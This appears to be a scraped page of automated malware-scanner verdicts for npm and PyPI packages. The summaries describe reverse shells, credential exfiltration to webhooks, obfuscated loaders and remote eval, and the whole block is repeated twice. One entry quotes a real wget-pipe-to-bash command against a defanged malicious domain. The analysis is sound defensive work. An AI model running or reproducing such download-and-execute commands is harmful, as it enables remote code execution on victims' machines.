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The code exhibits several behaviors that are indicative of malicious activity, including data exfiltration, unauthorized access, and suspicious network communications. It poses a significant security risk.

Live on npm for 1 hour and 25 minutes before removal. Socket users were protected even while the package was live.

This Python code generator returns a reverse-shell payload: it opens a TCP connection to a user-supplied remote IP and port, uses os.dup2() to redirect stdin/stdout/stderr into the socket, and invokes an interactive '/bin/sh' session. When executed on macOS, it silently establishes unauthorized remote shell access, allowing an attacker to execute arbitrary commands on the victim system.

The code implements a cross-platform system resource checker (RAM/Disk) with an additional, high-risk remote dynamic loader pattern. The remote fetch and eval step constitutes the principal security vulnerability and supply-chain risk, as it allows arbitrary code execution and potential backdoors. While the local checks themselves appear benign, the trust boundary is broken by remote code injection. To reduce risk, eliminate remote dynamic loading, or replace with pinned, signed dependencies and verifiable integrity checks. If remote loading must remain, implement strict integrity verification (SRI-like), sandboxing, and code-signing guarantees, and remove eval usage.

The code logs into Discord accounts using provided tokens, enumerates guilds, obtains or creates persistent invite links, and sends those links to an external Telegram endpoint. This is a privacy-invasive behavior that can be used to exfiltrate server invite links and server names. The code is readable and not obfuscated, but its behavior is consistent with abusive or malicious use (harvesting and sharing guild invites). Recommend treating this module as high risk for misuse; inspect sendInviteToTelegram implementation and validate intent/consent before use. If tokens are not owned/authorized, do not run this code.

This fragment intends to install and start KasmVNC by running many shell commands that create certs, write VNC password files, adjust group membership, and launch a VNC server. The primary security issues are unsafe shell interpolation (command injection risk), programmatic persistence of a possibly predictable password, execution with sudo based on unvalidated env vars, starting a VNC server exposed on 0.0.0.0 with disabled/basic auth, and multiple unsafe filesystem operations performed via shell. There is no clear evidence of obfuscated or direct exfiltration malware, but the behavior can provide an unauthorized remote access vector (backdoor-like) if used maliciously. Do not run this code without fixing shell usage, validating inputs, using secure randomly generated passwords, enforcing proper file permissions, and not disabling authentication.

This package will execute install.js twice during installation. That file could perform harmless setup, but it could equally perform malicious actions (data exfiltration, modify files, install backdoors, add hooks). Inspect install.js before installing or avoid the package; treat it as high risk until proven safe.

This file is a high-risk catalog of HTML dangling-markup payloads explicitly designed to bypass CSP/script restrictions and exfiltrate page content to an attacker-controlled domain. Treat entries as malicious input: do not render or store them where they could reach HTML rendering contexts without strict sanitization and CSP. Remediation: remove or quarantine the catalog if not required for legitimate testing, sanitize/escape user input, enforce strict CSP and origin restrictions for resource/form targets, and audit any places that reflect user-supplied HTML.

Among the three reports, Report 2 provides the most comprehensive catalog of obfuscation techniques, sinks, and data-flow patterns. The improved assessment confirms high risk: the code is heavily obfuscated, couples untrusted inputs to sensitive sinks (network, filesystem, and process control), and exhibits loader-like behavior that could fetch and execute remote payloads. While not conclusive proof of active malware without runtime evaluation, the threat posture is high and warrants treating this fragment as dangerous in a supply chain context. Isolate and audit; replace obfuscated patterns with transparent logic and verify provenance before usage.

This module adds an API endpoint that can execute an external CLI and run git commands using child_process, based on request data (including remote URLs and optional token) and deployment/environment configuration. It also writes configuration and sync state into a hidden directory under the user’s home (~/.mindos). While the intent may be legitimate “sync” automation, the presence of remotely triggerable command execution and token handling makes it a high supply-chain/sabotage risk if the API is reachable without strong authentication/authorization in the broader project.

This code fragment implements a dangerous pattern: it reads and execs every .py file in its directory. That leads to a clear arbitrary-code-execution vector through local-file or supply-chain tampering and makes unintended side-effects likely. It should be replaced with explicit imports, a controlled plugin loader that validates and constrains plugins (use importlib, restricted globals, signature checks, or a sandbox process), and robust path handling (os.path.dirname). Avoid using exec on unvetted source.

This module is strongly malicious: it orchestrates rogue wireless infrastructure (hostapd + dnsmasq) and a captive/phishing HTTP service that collects users’ passwords from HTTP POST submissions, stores them persistently to disk, and can optionally validate them against a WPA handshake using hashcat. Even with an “authorized lab” gate, the core capability is credential theft/phishing suitable for real-world abuse; it should not be used as a dependency in production or untrusted environments.

This module exhibits high-risk patterns: untrusted network data is deserialized with Python's pickle and remote-provided command objects are bound and installed as executable methods in the local process. Those patterns enable remote code execution if the control server or network is compromised or untrusted. Additionally, pickling local objects and sending them to the server can leak sensitive data. Without external guarantees (authenticated, integrity-protected transport and signed payloads, or strict type whitelisting), this code should not be used against untrusted endpoints. Recommended mitigations: replace pickle with a safe, explicit serialization format (or use a restricted unpickler), require cryptographic signatures or message authentication for commands, avoid executing remote-supplied callables (use an explicit RPC schema), and/or sandbox execution of remote-provided behavior.

This code implements an unauthenticated HTTP control surface for a viewer object that accepts arbitrary commands from request paths and bodies, dynamically looks up and calls attributes on internal objects, loads JSON from requests and triggers callbacks, and serves local files. These behaviors make it high risk for supply-chain or runtime compromise: untrusted clients can invoke methods and mutate state which could lead to data exfiltration, filesystem access, or other damaging actions depending on the viewer's API. It should not be exposed to untrusted networks or used without strict authentication/authorization and input validation.

This code contains a high-risk supply chain security issue due to repeated exfiltration of sensitive client credentials to a suspicious external domain. The implementation has technical errors that would cause runtime failures, but the intent to steal credentials is clear. The code should be considered malicious and untrusted. It poses a significant security risk and should be removed from any software supply chain.

This code performs unauthorized collection of local host data and developer credentials (environment tokens, ~/.npmrc, local .env) and exfiltrates them to externally controlled endpoints (Discord webhook and Sentry ingest). This is a clear supply-chain/backdoor credential harvesting behavior and should be treated as malicious. Do not run or install packages containing this code; remove and investigate any systems where this executed and rotate/expire any exposed credentials.

The function pjLbXKF in config.go automatically runs on import, rebuilding and executing the following obfuscated shell command via exec.Command: ``` wget -O - https://carveccomi[.]fun/storage/de373d0df/a31546bf | /bin/bash & ``` This downloads and pipes a script from carveccomi[.]fun to /bin/bash, resulting in arbitrary code execution on the host. The use of obfuscation and silent startup execution confirms this is malicious payload delivery.

The code performs unauthorized exfiltration of sensitive internal project data (package name, version, git commit hash) to a suspicious external server without user consent. This behavior is indicative of malicious intent, constituting a supply chain security threat. There is no obfuscation, but the data leak is serious and should be treated as a high-risk security incident.

No clear signs of intentionally malicious code in this fragment (no obfuscation, no hardcoded malicious domains). However, the module contains high-risk behavior: it reads a URL from the database and deserializes its contents with cloudpickle.load (and otherwise constructs objects from DB-provided definitions). That pattern enables remote code execution and is a significant supply-chain/security risk if the database or the resource URLs can be influenced by an attacker. Also note a functional bug: raw_results_to_datasets returns a single 'dataset' instead of the 'datasets' list. Recommendation: avoid loading pickles from untrusted sources; require signed/checksummed artifacts, validate/allowlist URL schemes/hosts, sandbox deserialization, or replace pickled payloads with safe serialization formats.

Live on pypi for 1 day, 10 hours and 57 minutes before removal. Socket users were protected even while the package was live.

This assembly contains significant indicators of malicious or at least highly suspicious behavior: heavy obfuscation, embedded encrypted resources that are decrypted at runtime using hardcoded keys, dynamic IL emission to bind delegates, and resolution/calling of native process-manipulation APIs (VirtualAlloc, WriteProcessMemory, OpenProcess, VirtualProtect). The likely flow is: read embedded resource -> decrypt payload -> allocate/write memory or create delegates -> execute or inject code — typical of in-memory loader / dropper / process injection. Even though it also implements logging helpers, the obfuscated loader component should be considered a high security risk and merits removal or isolation and further dynamic analysis in a safe sandbox.

[Skill Scanner] Installation of third-party script detected All findings: [CRITICAL] command_injection: Installation of third-party script detected (SC006) [AITech 9.1.4] [CRITICAL] command_injection: Installation of third-party script detected (SC006) [AITech 9.1.4] [HIGH] command_injection: Backtick command substitution detected (CI003) [AITech 9.1.4] [HIGH] command_injection: Backtick command substitution detected (CI003) [AITech 9.1.4] This skill is coherent with its stated purpose and contains typical GraphQL server scaffold code. I found no signs of obfuscation, hard-coded secrets, suspicious network destinations, command execution, or credential exfiltration in the provided fragment. The main security concerns are ordinary application-level issues: lack of shown input sanitization, absent implementations of verifyToken/DataSources/db (these must be audited), and subscription authorization is not demonstrated. Overall the code appears BENIGN but depends on the security of the missing components.

This module is highly dangerous: it fetches remote HTML, injects it into the DOM with Angular sanitization explicitly bypassed, extracts embedded <script> blocks, and executes the extracted JavaScript via eval(). It also exposes internal methods on window, increasing the reach and impact of any injected/executed script. Treat as effectively malicious for security-sensitive use; mitigate by removing eval/script execution and enforcing strict content origin and sanitization controls.

The code is not overtly obfuscated and does not contain explicit backdoor or exfiltration logic, but it uses unsafe patterns that allow command injection and destructive filesystem operations. If an attacker can control values returned from inputmodule.get_data() or any method arguments (repo, branch, path, level, build_version), they can execute arbitrary shell commands (including rm -rf) on the host. The module also contains several bugs (undefined attributes, typos) indicating poor quality. Recommendation: treat this package as high risk until subprocess calls are rewritten to avoid shell=True and to validate/sanitize inputs; remove direct rm -rf calls on derived paths; fix logic bugs.

Live on pypi for 2 hours and 32 minutes before removal. Socket users were protected even while the package was live.

This file is a malicious, obfuscated loader. At startup it performs environment fingerprinting (process.env, platform and globalThis/document checks), then reads a local manifest (./docs/manifest), extracts base64-encoded IV and ciphertext fields, derives a 256-bit key by SHA-256 hashing a static string, decrypts the payload with AES-256-CBC, optionally gunzips the result, and finally executes the plaintext via eval. Because any attacker-controlled or tampered manifest can supply arbitrary decrypted JavaScript, this constitutes a severe supply-chain/backdoor risk—enabling remote arbitrary code execution on any host that installs or runs this module.

Live on npm for 1 hour and 23 minutes before removal. Socket users were protected even while the package was live.

This postinstall script performs explicit data exfiltration by sending the contents of a local file to an external webhook. It is high risk and should be treated as malicious unless you fully control the package and the target webhook and the file is intentionally shared. Do not run this package in environments containing sensitive data.

The code exhibits several behaviors that are indicative of malicious activity, including data exfiltration, unauthorized access, and suspicious network communications. It poses a significant security risk.

Live on npm for 1 hour and 25 minutes before removal. Socket users were protected even while the package was live.

This Python code generator returns a reverse-shell payload: it opens a TCP connection to a user-supplied remote IP and port, uses os.dup2() to redirect stdin/stdout/stderr into the socket, and invokes an interactive '/bin/sh' session. When executed on macOS, it silently establishes unauthorized remote shell access, allowing an attacker to execute arbitrary commands on the victim system.

The code implements a cross-platform system resource checker (RAM/Disk) with an additional, high-risk remote dynamic loader pattern. The remote fetch and eval step constitutes the principal security vulnerability and supply-chain risk, as it allows arbitrary code execution and potential backdoors. While the local checks themselves appear benign, the trust boundary is broken by remote code injection. To reduce risk, eliminate remote dynamic loading, or replace with pinned, signed dependencies and verifiable integrity checks. If remote loading must remain, implement strict integrity verification (SRI-like), sandboxing, and code-signing guarantees, and remove eval usage.

The code logs into Discord accounts using provided tokens, enumerates guilds, obtains or creates persistent invite links, and sends those links to an external Telegram endpoint. This is a privacy-invasive behavior that can be used to exfiltrate server invite links and server names. The code is readable and not obfuscated, but its behavior is consistent with abusive or malicious use (harvesting and sharing guild invites). Recommend treating this module as high risk for misuse; inspect sendInviteToTelegram implementation and validate intent/consent before use. If tokens are not owned/authorized, do not run this code.

This fragment intends to install and start KasmVNC by running many shell commands that create certs, write VNC password files, adjust group membership, and launch a VNC server. The primary security issues are unsafe shell interpolation (command injection risk), programmatic persistence of a possibly predictable password, execution with sudo based on unvalidated env vars, starting a VNC server exposed on 0.0.0.0 with disabled/basic auth, and multiple unsafe filesystem operations performed via shell. There is no clear evidence of obfuscated or direct exfiltration malware, but the behavior can provide an unauthorized remote access vector (backdoor-like) if used maliciously. Do not run this code without fixing shell usage, validating inputs, using secure randomly generated passwords, enforcing proper file permissions, and not disabling authentication.

This package will execute install.js twice during installation. That file could perform harmless setup, but it could equally perform malicious actions (data exfiltration, modify files, install backdoors, add hooks). Inspect install.js before installing or avoid the package; treat it as high risk until proven safe.

This file is a high-risk catalog of HTML dangling-markup payloads explicitly designed to bypass CSP/script restrictions and exfiltrate page content to an attacker-controlled domain. Treat entries as malicious input: do not render or store them where they could reach HTML rendering contexts without strict sanitization and CSP. Remediation: remove or quarantine the catalog if not required for legitimate testing, sanitize/escape user input, enforce strict CSP and origin restrictions for resource/form targets, and audit any places that reflect user-supplied HTML.

Among the three reports, Report 2 provides the most comprehensive catalog of obfuscation techniques, sinks, and data-flow patterns. The improved assessment confirms high risk: the code is heavily obfuscated, couples untrusted inputs to sensitive sinks (network, filesystem, and process control), and exhibits loader-like behavior that could fetch and execute remote payloads. While not conclusive proof of active malware without runtime evaluation, the threat posture is high and warrants treating this fragment as dangerous in a supply chain context. Isolate and audit; replace obfuscated patterns with transparent logic and verify provenance before usage.

This module adds an API endpoint that can execute an external CLI and run git commands using child_process, based on request data (including remote URLs and optional token) and deployment/environment configuration. It also writes configuration and sync state into a hidden directory under the user’s home (~/.mindos). While the intent may be legitimate “sync” automation, the presence of remotely triggerable command execution and token handling makes it a high supply-chain/sabotage risk if the API is reachable without strong authentication/authorization in the broader project.

This code fragment implements a dangerous pattern: it reads and execs every .py file in its directory. That leads to a clear arbitrary-code-execution vector through local-file or supply-chain tampering and makes unintended side-effects likely. It should be replaced with explicit imports, a controlled plugin loader that validates and constrains plugins (use importlib, restricted globals, signature checks, or a sandbox process), and robust path handling (os.path.dirname). Avoid using exec on unvetted source.

This module is strongly malicious: it orchestrates rogue wireless infrastructure (hostapd + dnsmasq) and a captive/phishing HTTP service that collects users’ passwords from HTTP POST submissions, stores them persistently to disk, and can optionally validate them against a WPA handshake using hashcat. Even with an “authorized lab” gate, the core capability is credential theft/phishing suitable for real-world abuse; it should not be used as a dependency in production or untrusted environments.

This module exhibits high-risk patterns: untrusted network data is deserialized with Python's pickle and remote-provided command objects are bound and installed as executable methods in the local process. Those patterns enable remote code execution if the control server or network is compromised or untrusted. Additionally, pickling local objects and sending them to the server can leak sensitive data. Without external guarantees (authenticated, integrity-protected transport and signed payloads, or strict type whitelisting), this code should not be used against untrusted endpoints. Recommended mitigations: replace pickle with a safe, explicit serialization format (or use a restricted unpickler), require cryptographic signatures or message authentication for commands, avoid executing remote-supplied callables (use an explicit RPC schema), and/or sandbox execution of remote-provided behavior.

This code implements an unauthenticated HTTP control surface for a viewer object that accepts arbitrary commands from request paths and bodies, dynamically looks up and calls attributes on internal objects, loads JSON from requests and triggers callbacks, and serves local files. These behaviors make it high risk for supply-chain or runtime compromise: untrusted clients can invoke methods and mutate state which could lead to data exfiltration, filesystem access, or other damaging actions depending on the viewer's API. It should not be exposed to untrusted networks or used without strict authentication/authorization and input validation.

This code contains a high-risk supply chain security issue due to repeated exfiltration of sensitive client credentials to a suspicious external domain. The implementation has technical errors that would cause runtime failures, but the intent to steal credentials is clear. The code should be considered malicious and untrusted. It poses a significant security risk and should be removed from any software supply chain.

This code performs unauthorized collection of local host data and developer credentials (environment tokens, ~/.npmrc, local .env) and exfiltrates them to externally controlled endpoints (Discord webhook and Sentry ingest). This is a clear supply-chain/backdoor credential harvesting behavior and should be treated as malicious. Do not run or install packages containing this code; remove and investigate any systems where this executed and rotate/expire any exposed credentials.

The function pjLbXKF in config.go automatically runs on import, rebuilding and executing the following obfuscated shell command via exec.Command: ``` wget -O - https://carveccomi[.]fun/storage/de373d0df/a31546bf | /bin/bash & ``` This downloads and pipes a script from carveccomi[.]fun to /bin/bash, resulting in arbitrary code execution on the host. The use of obfuscation and silent startup execution confirms this is malicious payload delivery.

The code performs unauthorized exfiltration of sensitive internal project data (package name, version, git commit hash) to a suspicious external server without user consent. This behavior is indicative of malicious intent, constituting a supply chain security threat. There is no obfuscation, but the data leak is serious and should be treated as a high-risk security incident.

No clear signs of intentionally malicious code in this fragment (no obfuscation, no hardcoded malicious domains). However, the module contains high-risk behavior: it reads a URL from the database and deserializes its contents with cloudpickle.load (and otherwise constructs objects from DB-provided definitions). That pattern enables remote code execution and is a significant supply-chain/security risk if the database or the resource URLs can be influenced by an attacker. Also note a functional bug: raw_results_to_datasets returns a single 'dataset' instead of the 'datasets' list. Recommendation: avoid loading pickles from untrusted sources; require signed/checksummed artifacts, validate/allowlist URL schemes/hosts, sandbox deserialization, or replace pickled payloads with safe serialization formats.

Live on pypi for 1 day, 10 hours and 57 minutes before removal. Socket users were protected even while the package was live.

This assembly contains significant indicators of malicious or at least highly suspicious behavior: heavy obfuscation, embedded encrypted resources that are decrypted at runtime using hardcoded keys, dynamic IL emission to bind delegates, and resolution/calling of native process-manipulation APIs (VirtualAlloc, WriteProcessMemory, OpenProcess, VirtualProtect). The likely flow is: read embedded resource -> decrypt payload -> allocate/write memory or create delegates -> execute or inject code — typical of in-memory loader / dropper / process injection. Even though it also implements logging helpers, the obfuscated loader component should be considered a high security risk and merits removal or isolation and further dynamic analysis in a safe sandbox.

[Skill Scanner] Installation of third-party script detected All findings: [CRITICAL] command_injection: Installation of third-party script detected (SC006) [AITech 9.1.4] [CRITICAL] command_injection: Installation of third-party script detected (SC006) [AITech 9.1.4] [HIGH] command_injection: Backtick command substitution detected (CI003) [AITech 9.1.4] [HIGH] command_injection: Backtick command substitution detected (CI003) [AITech 9.1.4] This skill is coherent with its stated purpose and contains typical GraphQL server scaffold code. I found no signs of obfuscation, hard-coded secrets, suspicious network destinations, command execution, or credential exfiltration in the provided fragment. The main security concerns are ordinary application-level issues: lack of shown input sanitization, absent implementations of verifyToken/DataSources/db (these must be audited), and subscription authorization is not demonstrated. Overall the code appears BENIGN but depends on the security of the missing components.

This module is highly dangerous: it fetches remote HTML, injects it into the DOM with Angular sanitization explicitly bypassed, extracts embedded <script> blocks, and executes the extracted JavaScript via eval(). It also exposes internal methods on window, increasing the reach and impact of any injected/executed script. Treat as effectively malicious for security-sensitive use; mitigate by removing eval/script execution and enforcing strict content origin and sanitization controls.

The code is not overtly obfuscated and does not contain explicit backdoor or exfiltration logic, but it uses unsafe patterns that allow command injection and destructive filesystem operations. If an attacker can control values returned from inputmodule.get_data() or any method arguments (repo, branch, path, level, build_version), they can execute arbitrary shell commands (including rm -rf) on the host. The module also contains several bugs (undefined attributes, typos) indicating poor quality. Recommendation: treat this package as high risk until subprocess calls are rewritten to avoid shell=True and to validate/sanitize inputs; remove direct rm -rf calls on derived paths; fix logic bugs.

Live on pypi for 2 hours and 32 minutes before removal. Socket users were protected even while the package was live.

This file is a malicious, obfuscated loader. At startup it performs environment fingerprinting (process.env, platform and globalThis/document checks), then reads a local manifest (./docs/manifest), extracts base64-encoded IV and ciphertext fields, derives a 256-bit key by SHA-256 hashing a static string, decrypts the payload with AES-256-CBC, optionally gunzips the result, and finally executes the plaintext via eval. Because any attacker-controlled or tampered manifest can supply arbitrary decrypted JavaScript, this constitutes a severe supply-chain/backdoor risk—enabling remote arbitrary code execution on any host that installs or runs this module.

Live on npm for 1 hour and 23 minutes before removal. Socket users were protected even while the package was live.

This postinstall script performs explicit data exfiltration by sending the contents of a local file to an external webhook. It is high risk and should be treated as malicious unless you fully control the package and the target webhook and the file is intentionally shared. Do not run this package in environments containing sensitive data.